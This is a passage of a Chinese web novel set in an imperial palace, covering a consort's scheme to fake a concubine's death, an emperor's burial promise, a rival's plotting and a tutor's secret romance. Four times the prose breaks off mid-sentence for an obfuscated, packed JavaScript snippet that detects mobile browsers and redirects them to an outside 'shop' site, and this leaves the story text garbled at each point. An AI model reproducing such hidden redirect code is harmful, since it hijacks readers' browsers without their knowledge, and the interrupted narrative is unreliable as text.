元良良怼她:“那是你。像聂婕妤那种习惯了谨小慎微,又脸皮薄之人,在这节骨眼上倒不会做这些。当然啦,就算她真去瞧另一串,本宫就吓唬她弄坏了本宫的千里镜,本宫拿回来动个手脚,再给她,不就万事大吉了?” 元有慧没说话,只皱着鼻子示意,她觉得这个办法是真的很一般。 春华走到元良良跟前:“主子,姚婕妤着人来问她什么时候能出门。” 元良良皱眉:“她现在是小产,丢了半条命的人。现在就想出门,她想什么呢?跟她说,没本宫的命令,就在她自己的殿里呆着。谁要敢放她出去,本宫定不饶恕。” “是。” 八公主有些担忧:“眼下聂婕妤是搞定了,可姚婕妤毕竟小产是假的,这要怎么圆回去?” 元良良早想好了:“圆不回去。姚婕妤死了就成。” 八公主吓一跳:“贵妃……的意思是?” 元良 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13034869|127666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良:“本宫问了陛下,陛下的意思是过两天宣布姚婕妤去世,再悄摸把姚婕妤送出宫去。” 八公主夸赞:“这主意好。这样聂婕妤的事也不容易穿帮了。” 元良良:“穿帮本宫也不怕她。她要谋害姚婕妤嫁祸本宫,本来也是事实。” 元有慧看不下去:“贵妃您能别总说这种大话不?” 八公主也一脸凝重:“穿帮了,就是贵妃欺负针对后宫嫔妃,怕是贵妃得坐实了心狠毒辣的恶名。这可不是小事。” 她可是堂堂贵妃诶,怎么可能怕一个小小婕妤。 元良良继续逞强:“难道本宫说错了?你们信不信,本宫有无数种方法要她好看。” 元有慧和八公主心领神会都不接她这茬。 贵妃也心里有数,转眼又寻了个话头:“那聂婕妤真是的,当着那么多人说陛下,你们说,陛下真有那么糟糕吗?” 这话她们就更不知道怎么接了。 门外,春华进来禀报:“主子,陛下着人来说,再过一炷香会过来用晚膳。” 元良良表示知道了。 元有慧和八公主刚巧不想再和贵妃说话了,此时正是时候。 八公主说时辰不早了,也该带小宝回去。元良良知道八公主向来怕她这个四皇兄,也就没留她吃饭。 元有慧将二胖扔进他母妃怀里,拍拍屁股起身去送八公主。 两人离开后,殿里一时安静下来。好在没一会儿陛下过来了。 这次陛下可是帮了大忙。要不是陛下偏袒她这贵妃,事情断不能解决的这样轻松。 元良良将二胖放在椅子里,她亲自给陛下布菜。 虾是贵妃亲手剥的,汤是贵妃亲自吹凉的。二胖以为母妃是要喂自己的,兴奋的甩着胖脚。谁知转眼进了他父皇的嘴。 二胖傻眼了,嘴里嘀嘀咕咕骂得那叫一个难听。 陛下以为贵妃是在哄自己高兴。于是边吃边说:“朕不介意,良儿也无需担心朕会难过。说实话,朕自小被诟病,你可不知道那些人骂的有多难听,朕从不往心里去的。” 元良良想说陛下误会了。又一想,没说话。 她本来也以为陛下是不介意的,可眼下…… 陛下这此地无银三百两的样,要是真不介意,怎会吃碗汤吃几只虾就想到那么多? 元良良心里叹口气。 张口说:“聂婕妤吃不到葡萄说葡萄酸,不说别人,反正在良儿心里,陛下比这世间的所有男儿都好。臣妾这辈子下辈子都只想要陛下一个,别人良儿连正眼都不会瞧的。” 陛下表情无状,道:“也许只有良儿是这样想的。” 元良良刚想说“怎么会呢”,左一想,轻轻柔柔问陛下,“良儿一个,还不够吗?” 听到贵妃这话,陛下心里突突一跳,陛下忙答:“够了。” 看到贵妃漾着春光的笑脸,陛下脸上也有了些喜悦。 陛下堵了半日的心在此刻忽地就畅然了。 不一会儿,陛下问:“贵妃真不觉得朕小气吗?良儿跟了朕这些年,朕没有送过良儿何物,倒是良儿为朕付出不少。” 294. 贰佰玖拾肆 元良良反驳:“谁说没有送过?”元良良说着,命春雨把她压箱底收藏的首饰盒拿来。 首饰盒被贵妃用一把小锁打开,贵妃又从盒里头掏出一根凤穿牡丹金簪,又拎出一串质地通透的玉佛珠。 “这些都是相公送良儿的,重在相公的心,而不是多少。良儿会永远留着,小胖二胖要,良儿都不给。以后就是良儿的陪葬品。” 陛下唬脸:“这些都是死物,到时自然有朕。” 元良良听懂陛下的话,立时用惊异的眼神看他。她眼神闪烁,似是难以置信。 她知道陛下很守规矩,也许陛下为了她,会愿意妥协一些无关紧要的小事,但绝不包括圣训伦理多少年墨守成规的事。 陛下的意思是……他当她的……陪葬品吗? 她好想问:那皇后呢? 陛下自然只会和一国之母葬在一起。这也是她初进宫时耿耿于怀的原因。 后来她才好不容易说服自己,她告诉自己没关系的,她会在活着的时候,不浪费一时半刻和他在一起,死后反正她也不知道了,管他呢。 可就算是这样,她的心里还是难过的。想一次难过一次。不想吧,好像又很难做到。 今日听到这话,元良良太惊讶了。她从未有过的惊讶,惶恐,欣喜。 她怕自己听错了,含着泪光重复问一遍:“相公陪我,这是真的吗?” 陛下毫不迟疑答:“真的,不能再真。” 元良良眼中蓄满了泪,其他话她都没问,她知道陛下既然应了,肯定会有主意。她只要信任他就好了。 “嗯。”哽咽的一声。 而后两人相视而笑。她的眼中是他,他的眼中亦是她。 二胖为了引起爹娘的注意,那是撒泼打滚,丢东西齐上阵,可惜爹娘至始至终连个眼神都没给过他。 ... 由于陛下的承诺,之后的很多天,元良良都心花怒放喜笑颜开。 有两回见到皇后她也不再似从前的阴阳怪气,还同皇后主动打招呼,规规矩矩请安,她还给皇后单独送了几件漂亮的衣裳,还拿几个金条给皇后打了两套首饰。 收到衣裳和首饰的皇后觉察出不对劲,是怎么想都想不通。她怀疑贵妃有病,要不是有病,就是有猫腻。可什么猫腻呢? 皇后猜不着,然后就病了。 御医诊断出皇后是忧虑过重。 虽御医让她少烦忧,可那是她能控制的嘛。 皇后戴着抹额,面如缟素歪在床靠上,推开给她喂水的玄珠。皇后冷冷发话:“这里不用你伺候了,把玉芬叫来。” 玄珠未多话,应了声后便退下。不多会儿玉芬进来。 “娘娘,奴婢来了。” 皇后瞧着玉芬问:“雨昭媛那边可有话传来?” 玉芬乖觉说:“娘娘放心,奴婢昨儿才问了珍珠,珍珠说雨昭媛在等时机,等时机成熟定当会传消息给娘娘的。” “那就是暂时没消息。”皇后盯着空无一物的眼前,似在想心事,想到何事,脸上显见不安,“你说她会不会怕了,不准备动手,在故意敷衍本宫?” 玉芬想想,回话:“不会的娘娘,雨昭媛与贵妃恩怨已久,再说雨昭媛明摆着想讨好娘娘,聂婕妤的事,还是雨昭媛提醒的娘娘呢。想来雨昭媛是个有野心的,断然不会轻易放弃的。” 聂婕妤和贵妃对峙,皇后本想助聂婕妤一臂之力来着,但被雨昭媛给阻止了。雨昭媛说是此事不简单,让她静观其变。 皇后思来想去,一直在犹豫。这样的机会难得,错过了要再找收拾贵妃的机会就难了。 皇后觉得雨昭媛果然从小地方来的,太过胆小怕事。腹诽归腹诽,皇后却没再有动作。 果不其然,半日后,传来聂婕妤被发配皇陵的消息。 而得知全过程后,皇后心知就算她去了,怕也是被聂婕妤连累。皇后心里数落聂婕妤竟还不如雨昭媛一个初出茅庐的小姑娘,简直丢人现眼!此番被罚去皇陵也是该。 皇后听了玉芬的话,心才定了些。想到小小年纪却心思缜密的雨昭媛,皇后更为安心的躺下闭目休息。 ... 昭媛殿。 元书雨将眼前一朵朵含苞待放的花骨朵剪下,不多会儿只剩绿油油一盆。 珍珠不解问:“昭媛要这花骨朵作何用?” 元书雨似这才反应过来自己做了何事,她刚才想的太投入了。一笑,说:“本宫只是想吃鲜花糕了,你拿去给御膳房吧。” 珍珠越发纳闷,却是没再问,应下后,收拾了花骨朵就匆匆去了御膳房。 走去御膳房的路上,珍珠又忍不住想,昭媛想吃鲜花糕让御膳房做就是了,又何必自己摘了花送去? 然后珍珠又想到刚才雨昭媛剪花时的反应,她脚步一顿,而后又白着脸,抱紧装花的篮子加快速度跑向御膳房。 元书雨瞧着面前只剩绿意的枝叶,越瞧越满意,莞尔笑了。 她果然猜的没错。贵妃正等着聂婕妤往她圈套里钻呢。 她该说聂婕妤傻呢,还是单纯。这么明显的圈套都看不出来,枉费在宫里这许多年。 元书雨能猜到这是贵妃的圈套,只究竟是怎么做到的呢?元书雨刚才就在想。 只凭她凭空想象并不能知晓全貌。 但她能知道的是,这背后必定有陛下帮衬,贵妃才能得以如此顺利将聂婕妤置之死地。 陛下竟毫无原则偏袒贵妃。 须臾,元书雨冲着眼前的枝叶嘟囔:“兴许也是好事。” 元书雨眼前又浮现了当日临沅老家廊下冲她大步走来的男人,颀长身姿,朗面星目,只可惜她错看了他,当日说了那番话。 不得不承认,她好悔,也好恨。要是没有她的堂姐元良良,这个男人原该属于她的! 对了,也是因为元良良,她才会说出那番话! 可恨的还有那一家人。 元书雨想起了秦氏,她总是将“为她好”挂在嘴边,又总是说什么将来都靠她,数落两个哥哥不中用,要她将来别忘了家人。要不是这样, 她又怎会牟足了劲争取那唯一的名额,让女子学堂选她入京选秀? 她要不入京,又岂会亲手将这个男人推远? 她和他明明比元良良和他更般配更有缘分的。他救了她,他又出现在元家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047191|127666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今还能再碰到。车马慢,书信远,这样他们都能多次碰面,多么有缘分哪。 可她生不逢时。 不过好在,眼下一切都还来得及。 元书雨不知想到什么,抱着仅剩枝叶的盆栽痛快笑出声来。 都只会是她一个人的。 ... 又过了几日,宫里传出姚婕妤上吊自尽的消息。姚婕妤许是痛失双胎,遭不住打击选择了自尽。 不少替姚婕妤惋惜的人,更是骂了好多天心狠手辣的聂婕妤。 但大部分人都抱着看戏的心态,唏嘘了多日后,又将“姚婕妤”这个称呼都忘了个干净。 怕被人发现,元良良亲自将姚婕妤送出宫去。有她在,自是没人再多看一眼姚婕妤了。 正坐在宽敞软和的马车里出宫去的姚婕妤听到贵妃的这解释,瞪眼:“就算贵妃比嫔……夫人我貌美好了,可夫人我这肚子难道还不够显眼吗?” 她都不是婕妤了,这还是在宫外,春雨不惯着她。 “夫人要不想进冷宫,要不想肚里的孩子留在宫里为奴为婢,还是少说话吧。” 姚婕妤“嘿”一声,问贵妃,“我怎么没发现你身边这丫头这么势利眼?这是瞧我如今变成庶民了呗?” 元良良当然帮她的春雨啦。“你知道就好了。” 姚婕妤生闷气,不说话。不一会儿,也不知道想到什么开心事,一个人摸着肚皮瞎乐呵。乐完问:“贵妃问过于小公子了?他说何时迎我入门?” 元良良就知道她肯定要问的。她心里深深叹口气。今日之所以她贵妃亲自出马送她,最主要的原因就是这。 她怕姚夫人出宫后,得知真相,接受不了,真的一尸三命。 要问为啥在宫里时,不和她说清楚呢。 那是元良良怕她自暴自弃再赖在宫里不肯走。到时一大堆麻烦事还不是要陛下和她这个贵妃善后,她才不傻呢。 等到出了宫,把人安置了,不管这人和于小公子结果如何,总之她都能拂一拂衣袖潇洒走人。 元良良听到她问,觉得在车里不妥,于是说:“等到了地方告诉你。” 姚夫人不耐:“我都等了多少天了,贵妃就别卖关子了吧。看在我一个大肚子的份上,告诉我得了。” 元良良摇头不说。 姚夫人开始推搡她胳膊,元良良都快要被她晃吐了,只好妥协。 元良良打量她因兴奋期待而脸红眼亮的样,问:“你……难道没想过于惞他可能会拒绝?” 姚夫人听到这话一愣,而后笑开:“不可能。” 元良良惊奇:“你就对自己这么自信?” 姚夫人“噗嗤”一笑,“我是对贵妃自信。” 元良良恍悟,她这是觉得有她这个贵妃去于家给她说亲,那于惞和他家里人肯定不能够拒绝呀。 元良良没好气瞥那大肚子一眼,不知道该怎么告诉她接下来的真相。 姚婕妤见贵妃又不说了,又开始推搡她。 元良良不敢推回去,只好气急败坏吼:“本宫去了也没用,人家早定亲了。” 姚婕妤又愣住了,这回许久没有回神。 295. 贰佰玖拾伍 元良良给姚夫人安排的住处是和于家在一个地。 从新宅子到于家走路都只要一炷香。 自从得知姚夫人和于惞有事,又决定送姚夫人出宫后,她就在于家附近寻了一个够一家数口住的两进小宅子。 后来于惞拒绝,她想着孩子总归是他于惞的,以后少不了于家人照顾,也就没挪地方。 元良良本是想让马车从于家门口路过,好让姚夫人认认路。这会儿,她就直接让福禄驾车去了宅子。 “扶好了你家夫人。” 看到姚夫人失魂落魄钻出马车,元良良赶紧吩咐小禾。 小禾是宫女,元良良本想让姚夫人自己掏钱买俩丫头,姚夫人就让她把小禾留给她。元良良问了小禾,确定小禾心甘情愿随姚夫人后,就放了她出宫。 小禾使出吃奶的劲也搀扶不住最近几个月胖了一大圈的姚夫人,好在春雨被她主子推了一把,上前和小禾一左一右扶住了姚夫人。 宅子里的东西该有的都有,一些孕妇用的和小孩用的物品,元良良将自己用过的给了她,和着姚婕妤的全部家当一道装了马车,带了出来。眼下她带来的人正进进出出收拾里外,搬东西呢。 元良良带着姚夫人去了卧房,虽不如宫里富丽宽敞,但也窗明几净。元良良看着挺满意,这地方比她跟着陛下闯南走北住的也不差了,真是便宜她了。 元良良看着半死不活趴在床榻上的姚夫人,掐腰上前:“有这么难过吗?不过就见过一面的男人。” 姚夫人不住摇头:“可我腹中有他的骨肉,以后孤儿寡母三个要怎么活呀。” 元良良恨铁不成钢:“能怎么活,该怎么活就怎么活呗。与其伺候男人,倒不如自己一个人快快活活的活着!” 姚夫人继续摇头,哭声那一个震天:“我不过是一个弱女子,又没有贵妃那样的本事,就连缝衣服我都不会。我要一个人,大不了去花满楼,可我还有孩子,还有小禾,吃饭都是问题呀!” 元良良只觉不可思议:“你怎么会这么穷?” 姚夫人悲戚说:“人家本来出身就不好,因为家里穷才进宫当小宫女的,进潜邸时,只有西太后赏的几对珠花。进潜邸后,殿下又要求后院节衣缩食。 本以为到了宫里会享富贵,谁知就连给嫔妃的俸薪都一降再降,每年连两身像样点的衣服都不给。贵妃难道以为人人都像贵妃一样吗?” 元良良心知她这话不假,想了想只好忍痛提议:“那要不然本宫给你点银子?顺便这个宅子,本宫就当送给夫人的乔迁之喜?” 姚夫人:“那怎么好意思呢。” 元良良:“不好意思呀,那算了。” 姚夫人的声音急促传来:“既然是贵妃的好意,民女不敢不从。” 元良良就给她留了银子和地契。 里外转了一圈,确定没遗漏后,又回到后院,叮嘱了一番小禾。哪里的医馆离得最近,稳婆去哪里请,实在没办法,就去于家求救。 离开之前,她最后叮嘱:“叫姚夫人省着点花银子。” 小禾一一应下。 元良良随即带着人踏出宅子。 小禾将贵妃送出门,看着贵妃登上马车离开,她才忙不迭回了卧房。 “走了?” 小禾:“走了!” 姚夫人一改先前的愁云惨雾,抱着钱匣子喜不自禁。钱匣子里有贵妃给她的银子和宅子地契。以后都是她的了! 小禾将贵妃叮嘱的话一一说给姚夫人听。 听到贵妃让她省着银子花,姚夫人不屑哼哼:“夫人我还能不知道?还用她提醒?堂堂贵妃,就给了这么几块。”姚夫人掂量着银块,又摸到地契,“不过好在这宅子值不少钱。” 小禾苦着脸问:“银子迟早会花光的,花光以后咱们要怎么办?” 姚夫人眉眼温和瞅着小禾:“好丫头,你跟了夫人一场,夫人不会让你太吃苦的。放心吧,以后呀咱们靠他们的爹。” 小禾还是愁眉不展:“可于小公子不是定了亲?” 姚夫人自在必得一笑:“夫人我在宫里时斗不过那群女人,如今还斗不过一个女人吗?我能搞定一次男人,就能搞定第二次。” 小禾:“那要是还是不行呢?” 姚夫人脸色一沉:“那男人我不要了,但他们一家人得供着我。谁让于家公子欠我的呢。” ... 回宫的马车内。 春雨不满说:“就不该给她银子和地契,那又不是陛下的,那都是咱们自己的。凭什么? 再说咱们又没对不住她,反过来是她做了大逆不道之事,还是主子救了她呢!凭什么?究竟凭什么?” 元良良拍拍她脸:“好了好了。香黛解释下。” 香黛心里也有些气,但她可不敢像春雨一样。听到元良良的话,她憋了一口气说:“这银子和地契是于家给的。不对,确切的应该说是主子威胁了于家人才拿出来的。” 香黛还是忍不住冲元良良说:“主子,但咱们也可以不给她呀。刚才姚夫人那样,肯定是故意博同情呢。在后宫的女人哪个能是省油的灯呀?” 香黛说话,觉察不对,补一句:“主子除外。” 元良良也不跟她计较,被人说“不是省油的灯”,她高兴都来不及呢。那不就变相的说她聪明,一回事嘛? 她给两个丫头看清她成竹在胸的脸,才说:“你们想想她以后的日子,多可怜哪。银子花光了,由于没有来历,还又馋又懒,带着两个拖油瓶。不甘心的她只有去于家。 好一点的结果呢,被人扔两锭银子轰出来,坏一点的结果呢,是被抬进于家做妾。” 春雨和香黛直呼:“真的好惨呀!” 香黛问:“为什么一定是做妾?万一她手段狠辣,撵走了福亲王嫡女呢?” 元良良:“她手段再狠辣,没有人撑腰,有何用?那可是福亲王嫡女,除非她是话本子里的狐妖转世,迷惑的于家上下都没了魂。 但就算这样,福亲王府也饶不了于家的,你们想到时候她还能好过?” 两丫头又齐齐摇头。不能! 元良良:“主子我还能跟一个穷困潦倒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13055116|127666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人过不去吗?作为陛下的贵妃,那当然要夫唱妇随,为穷苦百姓尽点心。” 两丫头觉得主子说的十分有道理。 主仆三人一时猖狂大笑起来。吓得走在马车边的几个行人纷纷跳老远,虎视眈眈瞅着眼前富丽堂皇的马车。 被闫敏拔刀威吓行人才灰溜溜逃开。 回宫后的元良良再没有空闲关注姚夫人,但春雨和香黛都好奇姚夫人的下场呢。 某一日,她们打听到姚夫人去找了于惞,还挑衅了齐代双,转头姚夫人就被人套了麻袋揍了。由于揍的脸,所以姚夫人的肚子没事。 “主子,八公主,你们知道姚夫人去找于小公子干嘛?” “干嘛?” 香黛羞着脸推推春雨,春雨就说:“偷情呢。这姚夫人真够能耐的,见于小公子第一面是跟他睡觉,见第二面,还是跟他睡觉,怀着孕都行,真叫人佩服。” 八公主窘了窘。 元良良同样感慨:“是挺厉害的。” 她问,“那齐代双知道后什么反应?” 香黛回话:“姚夫人被人套麻袋,估计就是她做的。” 元良良摆手:“本宫的意思是,齐代双得知于惞不干净了,还有两个未出生的孩子,是打算退婚吗?” 春雨:“没退,齐小姐还打算嫁呢。” 几人一通唏嘘。 又过了几日,福亲王府办喜事的消息传来,福亲王还给陛下递了请帖。陛下当然是不去的,只是让人备了一份薄礼。 礼是真的薄。 一尊手掌大的求子观音,也不知福寿从哪个犄角旮旯翻出来的,还磕掉了观音的一截手指,不过被福寿手巧的黏上了。 元良良很想去凑热闹,但就陛下送的这礼,她也没好意思去。 又过了几日,元良良听闻于惞将姚夫人纳了进门,还是得了齐代双同意的。 数月后的一日,那时候元良良早忘了姚夫人,被春雨提醒才想起来。姚夫人生了一对双胞胎儿子,但才生下,孩子就被于家人接去了齐代双屋里。 元良良不太懂齐代双这做派。要换了她,她才不帮人养儿子呢。 就不说每日看着自家相公和别的女人生的孩子脑壳疼吧,生母在一个屋檐下,孩子长大了还能不知道? 养母做的再好,难免会训孩子两句,这时候孩子就会惦记生母,久而久之,孩子就成白眼狼了。 元良良福至心灵:“齐代双该不是生不了?” 这事没人听说。但贵妃娘娘耳目众多,转头得了确切消息。 齐代双天生底子薄,做姑娘时就被确诊无法受孕。福亲王知道幺女嫁不了高门大户,本想找个寻常门户的后生,谁知齐代双自个看中了于惞。 这也是福亲王和其夫人同意让于惞纳小的原因。 从后宫到后院,不就是小一点的牢笼?元良良不觉替姚夫人悲哀。 于家。 “姚姨娘,要奴婢说,您就别折腾了。夫人可是福亲王之女,这还是小公子的嫡妻。孩子在夫人那,才是嫡子,您该想开才是哪。” 296. 贰佰玖拾陆 “我说姨娘,你要是再闹腾,我们可就不客气了。老夫人严令我二人看着你,是姨娘不听话,可怪不得我二人动手。” 眼前的门被锁住了,姚姨娘推不开,她只能透过门缝狠狠瞪着眼前两个刁奴。 两个婆子是于家家奴,一个长脸高颧骨的脸上带着虚伪的笑,另一人方脸薄唇满脸狠色。两人也正透过门缝看着里头披头撒发如疯妇般的女人。 姚姨娘见眼前两人似乎要走,又凄厉叫唤:“把孩子还给我!那是我生下来的,凭什么给那女人!你们知道我是谁吗?我是宫里的姚婕妤!我要见于惞,我要见贵妃,你们听见没有,我要见贵妃!” 自三天前,姚姨娘生下孩子,得知孩子被抱走后,就一刻没消停过。如今竟是变本加厉了。 “听她说什么?她说她是婕妤?她要见贵妃?!她怎么不说想上天呢!” 方脸婆子要返回去堵姚姨娘的嘴,被高颧骨婆子拦下:“这都成了傻子,你也不怕被咬?” 方脸婆子想想也是,就没再上前,冲身后吐了口唾沫,和方脸婆子一道走远了。 姚姨娘还在大骂着,从白天骂到黑夜。她都把于家祖宗三代骂了遍,自然没人给她送饭。 她也不知道几时了,眼前又来了人。姚姨娘看到人的身影,骂声一顿。 小禾左右张望着,给她塞了两个油纸包,又飞快冲着门缝说: “奴婢听说夫人身子不好,生不了才抱姨娘的孩子。姨娘不妨再等等。何况公子不是陛下,夫人也成不了贵妃,姨娘只要耐心,日后肯定有机会的。小禾等着姨娘出来。” 姚姨娘眼泪哗啦啦而落。等到小禾离去,她在榻上寻了个舒适的位置,开始细嚼慢咽吃起油纸包里的馒头来。 小禾小心翼翼回到下人房,刚要睡下,听到同屋的丫头小翠说话:“我都看到了。你究竟为什么?” 小禾吓一跳,睁着惊慌的眼瞅小翠,呼吸急促。 暗中,听到小翠的声音又传来:“姚姨娘得罪了夫人,老爷老夫人也都不喜欢她,现在还疯了,你大可以不用管她。为什么?” 小禾知道,她要告自己的状,也就不会来问自己。 想清楚后,也没打算隐瞒,说:“姨娘人是骄纵了点,嘴巴也不喜饶人,但对我挺好的。” 至于多好,小禾没说。 小翠叹口气,也没追问。只说让她放心,她觉得她小禾也挺好的,所以她不会说出去的。 小禾自小在宫里,由于她是罪奴出身,在宫里属于最低等的宫女,一直都干着最下等的腌臜活,是姚婕妤给了她机会。 她跟了姚婕妤不过数年,但想想要是离了姚婕妤,她又不知道去哪里。是以姚婕妤问她要不要跟她出宫时,她立马答应了。 在宫里时,她离不了姚婕妤,如今出了宫,她好像依旧离不了。她害怕那广袤的天地,她还是等着姚婕妤出来,一起过以后的日子吧。 ... “此次多靠朱卿深谋远虑!朕定重赏!” 能够伏击混入京都城的犬戎间谍,并找出奸细,都靠朱先生想出的“钓鱼”计策。 没想到奸细竟是乔国公,其女乔绮绮自被陛下赶出宫后,就被乔国公嫁去了漠北远房表兄家。看似无奈之举,实际是乔国公早打好的算盘。 只剩国公名头,无任一公职的乔国公早与漠北犬戎地下来往,他接受老犬戎王的招安,送乔绮绮入宫本也是为了打探消息,谁知乔绮绮会被陛下赶出宫去。乔国公又心生一计将乔绮绮嫁去漠北做接应的幌子。 这半年多来,终于迎来一个好消息。是以陛下别提多高兴了。 听到陛下说重赏,朱先生嘴唇动了动,有些欲言又止。 朱先生指望着陛下会冲自己说:“朱卿,有话但说无妨。” 但朱先生失望了。 陛下笑够了,又和另外两个大臣商议了如何抄乔国公家的事后,就将他们赶出了大明殿。 朱先生瞧着奋笔疾书的陛下许久,很艰难的才转回头,心神恍惚踏出了大明殿。 “臣参见贵妃娘娘。” 元良良颔首虚扶:“几位大人无需多礼。” 朱先生最后一个冲贵妃行礼。 “朱先生就别客气了。”朱先生作为大皇子襁褓起的老师,元良良跟他当然是很熟的,说话也不似和其他大臣一样拘谨。 笑着说完,她瞧见朱先生的脸色,笑容一凝,随即问,“朱先生可有哪不舒服?莫不是这会儿没用午膳,饿得头晕?” 这会儿早已过了晌午,大臣中大多数都是柔弱文官,天不亮匆匆用过半碗膳食出门上朝。 在朝上站个把时辰,个别还会像朱先生这般被继续叫到大明殿议事,饿得头晕眼花都是常事。 元良良过来,就是听说陛下迟迟不叫人传膳,才赶着来瞅一眼。 朱先生听到贵妃的话,谢过贵妃的关心后,又说:“臣无碍。” 说完“无碍”后的朱先生又不禁动了动嘴唇,一副欲言又止样。 陛下瞧不出来,贵妃瞧得出呀。于是元良良体贴问:“朱先生有何事,不妨直言。” 朱先生两手交握胸前,不住搓着手,脸上尽是苦恼之色。 元良良还是第一次见到这样不淡定的朱先生,狐疑猜:“是否大皇子欺负先生了?” 朱先生摇头:“不是,大皇子乖得很。” “那是……陛下找你麻烦了?” 朱先生又摇头:“陛下并无。” “都不是?那先生是为何?” 朱先生表情更为难,似乎还有了点窘迫。 元良良大胆猜:“莫非……朱先生想让本宫给你说个操持家事的媳妇?” 朱先生为了功名大把年纪至今未娶妻,他可不止是陛下的肱股,还是小胖子的良师,元良良早想过给朱先生做个媒了。 可惜一直没寻到机会,和陛下提了提,陛下就说她闲得发慌,她一气之下就再没操心过此事。 这要是朱先生主动提起的话,就算陛下骂,她也可以牺牲一下的嘛。 朱先生霍地抬眼。然而还没说话,福寿匆匆过来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13071944|127666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “主子娘娘哟,您快随奴才进殿吧,陛下都等急了。” 元良良刚好错过朱先生的反应,想着下回再问吧。当下和朱先生道了声,径直走人了。 朱先生就瞧着贵妃的背影,越想越懊悔,越想越觉惋惜。 朱先生最终只是深深叹了口气,如提线木偶般迈腿往宫外的路行去。 进了大明殿,元良良想到朱先生的反应,又问陛下。 陛下道:“估计是朕夸了他,还要重赏他,太兴奋了吧。” “兴奋过头?”元良良好笑问,“陛下打算如何重赏朱先生?” 陛下瞥了眼贵妃,扒饭吃,不答。陛下觉得贵妃这表情一点都不尊重人,还一点都不体谅人。 “好嘛好嘛,臣妾不问就是了。” 陛下才满意。不过没多久,陛下又主动说:“这回抄了乔国公府多亏有朱先生,这些年,朱先生对小胖又真的亦师亦父,倾囊相授,朕作为小胖的父皇,还没好好谢过朱先生。 等抄了乔国公府后,国库也总算宽裕些,朕势必会好好谢他。” “好。” 元良良应着话,又想到朱先生的反应,总感觉还是不对劲。受赏了该高兴才对,顶多再激动点,为什么朱先生还流露出窘迫不安来? 元良良给陛下夹了两筷子炒萝卜,又给小胖子夹了两块肉,问小胖子:“小胖,你知道朱先生因为何事?” 小胖等嘴里的大肉嚼巴完,才回话:“嗯……不知道。” 小胖其实想告诉母妃他有一回偷看到朱先生和后宫的娘娘说过话,但小胖想想母妃那么讨厌后宫的妃子,他不想母妃不高兴,于是不说了。 ... 上书房。 这两日朱先生说要再给他讲几篇课,得了陛下同意后,小胖又回到上书房上课来了。不过只是半日。 上午最后一堂课完,朱先生收拾了笔墨课本,往肩膀上套了包,比他这个不爱上课的大皇子还要速度的冲出了上书房。 小胖子都惊呆了。 朱先生没有往宫门走,而是走了一条通往如厕的路,然后到了如厕的地方,又往里拐了拐。 不多会儿,他听到一个轻盈的脚步声,朱先生不觉呼吸都屏住了。 “先生可有?” 一道轻轻柔柔的声音如暖春的微风拂过耳畔。朱先生垂着头羞愧答:“朱某愧对娘娘。” 须臾后,女人的声音才又响起:“都说了,叫我惜儿即可。” 朱先生别扭说:“那惜儿还不是叫我先生。” 左惜儿又是半晌才说话:“先生是敬称,大皇子也叫先生为先生,不生分。” “那……行吧。”学识广博的朱先生早发现自己在眼前人的面前会变成讷言的人。 朱先生并不在意,只怕眼前人会嫌弃自己,他忙道:“娘…惜…惜放心,朱某不会再有下次,朱某定不辜负姑娘!”哪怕前头是万丈悬崖。 朱先生听到了如山间清泉的笑声,他也跟着扬起唇角。 “这个送给先生。”